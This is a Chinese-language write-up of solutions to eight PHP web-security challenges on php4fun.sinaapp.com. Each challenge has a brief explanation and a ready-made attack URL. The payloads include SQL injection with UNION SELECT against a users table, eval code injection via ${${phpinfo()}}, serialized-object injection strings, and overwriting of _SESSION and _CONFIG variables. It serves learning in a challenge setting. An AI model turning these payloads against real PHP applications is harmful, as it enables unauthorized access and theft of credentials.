php4fun.sinaapp.com PHP挑战通关攻略

挑战地址:”http://php4fun.sinaapp.com
challenge 1

攻略:

在单引号内的mysql注入,核心就是逃脱单引号,要么生成一个(htmlentities了单引号,不太可能),要么…干掉一个。

所以:

http://php4fun.sinaapp.com/c1/index.php?username=admin\&password=%20or%201%23

challenge 2

攻略:

eval(‘$str=”‘.addslashes($str).'”;’);这段最后成为php代码 $str=””,里双引号被addslashes,但内容在双引号内可以${${这里执行代码}}

所以:

http://phpchallenges2.sinaapp.com/index.php?str=${${phpinfo()}}

challenge 3

攻略:

主要是利用php和mysql对float数字型支持的精度不同,精度小的会忽略不能支持的位数。

所以:

http://php4fun.sinaapp.com/c3/index.php?id=1.0000000000001

challenge 4

攻略:

这段$kw在单引号里,看起来只要能使用单引号就行,所以干掉_CONFIG[‘extraSecure’]就ok,刚好前面画蛇添足的有可利用的变量unset(不然咋通关?),然后就是联合查询了。

所以:

http://php4fun.sinaapp.com/c4/index.php?kw=’%20and%200%20union%20select%20name,pass%20from%20users%20where%20id=1%23&_CONFIG=aaa

challenge 5

攻略:

(1) http://www.80vul.com/webzine_0x06/PSTZine_0x06_0x03.txt (站上默认显示的密码就是个提示…估计是哪位大虾顺手改的)
(2) $userInfo[‘pass’] = $newPass; //这句,改成1

所以:

(1) 修改jimbo18714密码为8 (2) 再次修改密码,提交时userInfo为8的序列化,newPass为1

challenge 6

攻略:

serialize一个just4fun的对象,序列化之前先赋值给$o->enter (在本地执行是成功的,php4fun.sinaapp.com不行,代码改了?)

所以:
(1) 生成序列化的对象

(2)

link?pass=O%3A8%3A%22just4fun%22%3A2%3A%7Bs%3A5%3A%22enter%22%3Bs%3A29%3A%22%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%22%3Bs%3A6%3A%22secret%22%3BN%3B%7D

challenge 7

攻略:

get the key from $hidden_password[207] 这句有点模糊,下面的‘所以’可以得到key(绕过REQUEST对数组的判断)

所以:

http://php4fun.sinaapp.com/c7/index.php?_SESSION[logged]=1
POST: _SESSION=1

challenge 8

攻略:

http://drops.wooyun.org/papers/596
http://zone.wooyun.org/content/6697

所以:
(1) 生成利用的data:

O%3A%2B8%3A”just4fun”%3A1%3A%7Bs%3A8%3A”filename”%3Bs%3A9%3A”sbztz.php”%3B%7D (注意%2B)

(2)

http://php4fun.sinaapp.com/c8/index.php?data=O%3A%2B8%3A”just4fun”%3A1%3A%7Bs%3A8%3A”filename”%3Bs%3A9%3A”sbztz.php”%3B%7D

留下评论